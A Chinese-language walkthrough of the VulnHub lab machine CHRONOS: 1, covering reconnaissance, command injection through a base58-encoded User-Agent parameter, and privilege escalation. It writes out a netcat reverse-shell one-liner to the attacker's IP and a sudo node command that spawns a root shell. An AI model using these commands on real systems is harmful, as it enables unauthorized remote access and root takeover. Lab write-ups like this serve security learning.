Vulnhub 靶场 CHRONOS: 1
前期准备:
靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
kali攻击机ip:10.0.2.7
靶机ip:10.0.2.10
一、信息收集
1.使用nmap对目标靶机进行扫描
开放了22、80和8000端口。
2. 80端口
查看源码:
发现主机名和一串字符,先把主机名添加到 hosts 文件中:
再次访问 80 端口:
新加了个日期,扫一下目录:
什么也没扫出来。
3. 8000端口
在访问 8000 端口时,也发现了访问上面发现的一串字符串的链接:
不过可疑的是 User-Agent 是 Chronos,正常来说我用火狐浏览器的代理应该是:
这意味着发送请求时,用户代理被改变了,解码一下这一串字符:
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
base64 没解出来,后来尝试 base58 解密出来了(hiencode):
'+Today is %A, %B %d, %Y %H:%M:%S.'
是日期,在本地 kali 尝试运行了一下:
发现可以,到这里就想到写个 base58 编码过的反弹 shell,替换上面的日期编码。
二、漏洞利用
重新发送一下这个请求日期的包并抓包,写个反弹 shell 然后 base58 编码:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.7 1234 >/tmp/f
替换掉原来的 base58 编码,发送数据包并 nc 监听:
nc 连接成功,。
三、提权
查看一下文件:
在 /opt/chronos-v2/backend 下发现 express-fileupload,从网上找到了他的漏洞:
把攻击脚本复制下来:
本地 nc 监听并运行脚本:
执行完脚本 nc 连接后,,然后发现给了我一些用户权限,查看一下目录文件:
在 /home/imera 下发现一个 user.txt 文件,应该是一个 flag。
id 命令查看时有 lxd 组,可以利用 lxd 进行提权:
不过查看权限是发现有 node:
也可以使用 node 进行提权:
sudo -u root /usr/local/bin/node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
成功提权到 root,并得到 flag。